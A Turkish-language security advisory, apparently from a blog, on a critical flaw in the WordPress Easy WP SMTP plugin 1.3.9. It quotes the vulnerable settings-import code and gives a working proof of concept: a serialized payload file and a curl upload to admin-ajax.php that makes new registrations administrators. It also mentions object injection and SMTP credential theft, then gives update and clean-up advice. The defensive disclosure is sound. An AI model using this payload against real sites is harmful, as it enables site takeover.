WordPress Easy WP SMTP Güvenlik Açığı ve Çözümü

Güvenlik amacıyla mail() fonksiyonunun kapatıldığı ve SMTP kanalı ile mail gönderiminin sağlandığı WordPress yazılımı popüler eklentisi olan Easy WP SMTP’de kritik bir güvenlik açığı tespit edildi. Yaklaşık 300.000’den fazla kişi tarafından kullanılan Easy WP SMTP eklentisinde tespit edilen açık sayesinde, WordPress seçeneklerinin değiştirilebilmesine ve kötü niyetli kod enjekte etmesiyle birlikte aynı zamanda yürütmesine izin veren kritik bir güvenlik açığına rastlandı.

15 Mart tarihinden bu yana korsanlar tarafından istismar edilmiş. Eğer sizde Easy WP SMTP 1.3.9 sürümünü kullanan WordPress web sitesine sahipseniz büyük olasılıkla bu istismara hedef olmuş olabilirsiniz.

add_action( 'admin_init', array( $this, 'admin_init' ) );
...
...
function admin_init() {
  if ( defined( 'DOING_AJAX' ) && DOING_AJAX ) {
     add_action( 'wp_ajax_swpsmtp_clear_log', array( $this, 'clear_log' ) );
     add_action( 'wp_ajax_swpsmtp_self_destruct', array( $this, 'self_destruct_handler' ) );
  }

  //view log file
  if ( isset( $_GET[ 'swpsmtp_action' ] ) ) {
      if ( $_GET[ 'swpsmtp_action' ] === 'view_log' ) {
    $log_file_name = $this->opts[ 'smtp_settings' ][ 'log_file_name' ];
    if ( ! file_exists( plugin_dir_path( __FILE__ ) . $log_file_name ) ) {
        if ( $this->log( "Easy WP SMTP debug log file\r\n\r\n" ) === false ) {
      wp_die( 'Can\'t write to log file. Check if plugin directory  (' . plugin_dir_path( __FILE__ ) . ') is writeable.' );
        };
    }
    $logfile = fopen( plugin_dir_path( __FILE__ ) . $log_file_name, 'rb' );
    if ( ! $logfile ) {
        wp_die( 'Can\'t open log file.' );
    }
    header( 'Content-Type: text/plain' );
    fpassthru( $logfile );
    die;
      }
  }

  //check if this is export settings request
  $is_export_settings = filter_input( INPUT_POST, 'swpsmtp_export_settings', FILTER_SANITIZE_NUMBER_INT );
  if ( $is_export_settings ) {
      $data					 = array();
      $opts					 = get_option( 'swpsmtp_options', array() );
      $data[ 'swpsmtp_options' ]		 = $opts;
      $swpsmtp_pass_encrypted			 = get_option( 'swpsmtp_pass_encrypted', false );
      $data[ 'swpsmtp_pass_encrypted' ]	 = $swpsmtp_pass_encrypted;
      if ( $swpsmtp_pass_encrypted ) {
    $swpsmtp_enc_key		 = get_option( 'swpsmtp_enc_key', false );
    $data[ 'swpsmtp_enc_key' ]	 = $swpsmtp_enc_key;
      }
      $smtp_test_mail			 = get_option( 'smtp_test_mail', array() );
      $data[ 'smtp_test_mail' ]	 = $smtp_test_mail;
      $out				 = array();
      $out[ 'data' ]			 = serialize( $data );
      $out[ 'ver' ]			 = 1;
      $out[ 'checksum' ]		 = md5( $out[ 'data' ] );

      $filename = 'easy_wp_smtp_settings.txt';
      header( 'Content-Disposition: attachment; filename="' . $filename . '"' );
      header( 'Content-Type: text/plain' );
      echo serialize( $out );
      exit;
  }

  $is_import_settings = filter_input( INPUT_POST, 'swpsmtp_import_settings', FILTER_SANITIZE_NUMBER_INT );
  if ( $is_import_settings ) {
     $err_msg = __( 'Error occurred during settings import', 'easy-wp-smtp' );
     if ( empty( $_FILES[ 'swpsmtp_import_settings_file' ] ) ) {
      echo $err_msg;
      wp_die();
    }
    $in_raw = file_get_contents( $_FILES[ 'swpsmtp_import_settings_file' ][ 'tmp_name' ] );
    try {
      $in = unserialize( $in_raw );
      if ( empty( $in[ 'data' ] ) ) {
         echo $err_msg;
         wp_die();
      }
      if ( empty( $in[ 'checksum' ] ) ) {
         echo $err_msg;
         wp_die();
      }
      if ( md5( $in[ 'data' ] ) !== $in[ 'checksum' ] ) {
         echo $err_msg;
         wp_die();
      }
      $data = unserialize( $in[ 'data' ] );
      foreach ( $data as $key => $value ) {
         update_option( $key, $value );
      }
      set_transient( 'easy_wp_smtp_settings_import_success', true, 60 * 60 );
      $url = admin_url() . 'options-general.php?page=swpsmtp_settings';
      wp_safe_redirect( $url );
      exit;
    } catch ( Exception $ex ) {
      echo $err_msg;
      wp_die();
    }
  }
}

Yukarıdaki kodlar arasında göreceğiniz admin_init () işlevi, easy-wp-smtp.php dosyası üzerinden, bir kullanıcı admin alanına erişim sağladığında admin_init hook ile çalıştırılır. Günlüğü görüntülemek veya silmek, eklenti yapılandırmasını içe ya da dışa aktarmak ve WordPress veritabanı içerisinde bulunan seçenekleri güncellemek için kullanılır. Kullanıcı rollerini kontrol etmeyecektir, dolayısıyla üyelik rolü her ne olursa olsun abone gibi giriş yapmış bir kullanıcı dahi bunu tetikleyebilir. Bu kritik açık sayesinde kimliği doğrulanmamış kullanıcılar tarafından da yürütülebilir. Bunun sebebi ise, Easy WP SMTP eklentisi AJAX’ı kullanmaktadır. WordPress API belgesi içerisinde de görüntüleyebileceğiniz gibi admin-ajax.php üzerinde de çalışır.

Bu yalnızca kullanıcının karşılaştığı yönetici ekranlarında çalışmaz. Admin-ajax.php ve admin-post.php’de çalışır.

Bu sebeple, kimliği doğrulanmamış bir kullanıcı action = swpsmtp_clear_log AJAX isteğini gönderip işlevi tetikleyebilir ve kodu çalıştırabilir.

Easy WP SMTP açığının ispatı

Şimdi bahsedeceğimiz işlemler ile, kötü niyetli bir swpsmtp_import_settings AJAX isteğini gönderip abone olarak gözüken bir kullanıcının varsayılan rolünü veritabanı üzerinde Yönetici olarak ayarlayacağız.

  1. /tmp/ klasörü altına upload.txt dosyasını oluşturun ve aşağıdaki içeriği ekleyin:
    a:2:{s:4:"data";s:81:"a:2:{s:18:"users_can_register";s:1:"1";s:12:"default_role";s:13:"administrator";}";s:8:"checksum";s:32:"3ce5fb6d7b1dbd6252f4b5b3526650c8";}
    

2. Ardından dosyayı yükleyin:

$ curl https://VICTIM.COM/wp-admin/admin-ajax.php -F 'action=swpsmtp_clear_log' -F 'swpsmtp_import_settings=1' -F 'swpsmtp_import_settings_file=@/tmp/upload.txt'

Bu sayede oluşalabilecek diğer güvenlik açıkları aşağıdaki gibidir:

  • Easy WP SMTP eklentisi unerialize () çağrılarını kullandığı için PHP Object Injection ile uzaktan kod yürütme,
  • Günlük görüntüleme veya silme (ya da korsanlar günlük dosya adını değiştirebildiği için herhangi bir dosyada benzer işlemleri yapabilme),
  • Konfigure edilmiş SMTP sunucusu, kullanıcı adı ve şifresini içeren bilgilerin dışarı aktarılması ve spam e-postaların gönderiminde bilgilerin kullanılması.

WordPress’de bir yönetici hesabını “Kullanıcılar” bölümünden kolayca tespit edilebilirsiniz, ancak bu tarz bir yetkilerin değiştirilmesi işlemi ile neredeyse fark edilemez. Yani kısa üyelik rolü abone olan kişi abone olarak görünmeye devam eder, ancak bu açıktan yararlanarak içeriye aktaracağı zararlı kodlar ile bir yönetici hesabın tüm yetkilerine sahip olabilir ve yönetici hesabının yapabileceği her şeyi yapabilir.

15 Mart’ta WordPress’e konu ile ilgili güvenlik açığı olduğu belirtilmiş ve 17 Mart’ta yeni bir Easy WP SMTP sürümü (v1.3.9.1) çıktığı bildirilmiştir.

En kısa süre içerisinde Easy WP SMTP eklentinizi 1.3.9.1 sürümüne güncellemenizi öneriyoruz.

WordPress güvenlik duvarı eklentilerinden NinjaFirewall WP Edition ücretsiz sürümünü indirmek isterseniz tıklayın.

Easy WP SMTP’nin 1.3.9 sürümünü kullandıysanız aşağıdaki kontroleri sırayla uygulamanızı tavsiye ederiz:

  • WordPress yönetici panelinize giriş yaparak, “Ayarlar> Genel” sayfanızı kontrol edin: Hiçbir şeyin değiştirilmediğinden emin olun (URL, E-posta Adresi, Üyelik vb).
  • WordPress yönetici panelinize giriş yaparak, “Kullanıcılar” sayfanızı kontrol edin: Yeni kullanıcıları inceleyin, yönetici mail adresini vb. kontrol edin.
  • Tüm şifrelerinizi mutlaka değiştirin.
  • Veritabanındaki “wp_options” tablonuzu kontrol edin. Kullanıcı rolleri ve yetenekleri içeren “wp_user_roles” kısmında herhangi bir değişiklik yapılmadığından emin olun.
  • Dosyalarınızın son değiştirilme tarihlerini kontrol edin ve tarayın. Bu tarz hack girişiminde bulunan bilgisayar korsanları açık arka kapılar bırakmış olabilirler.

YANITLA

Lütfen yorumunuzu giriniz!
Lütfen isminizi buraya giriniz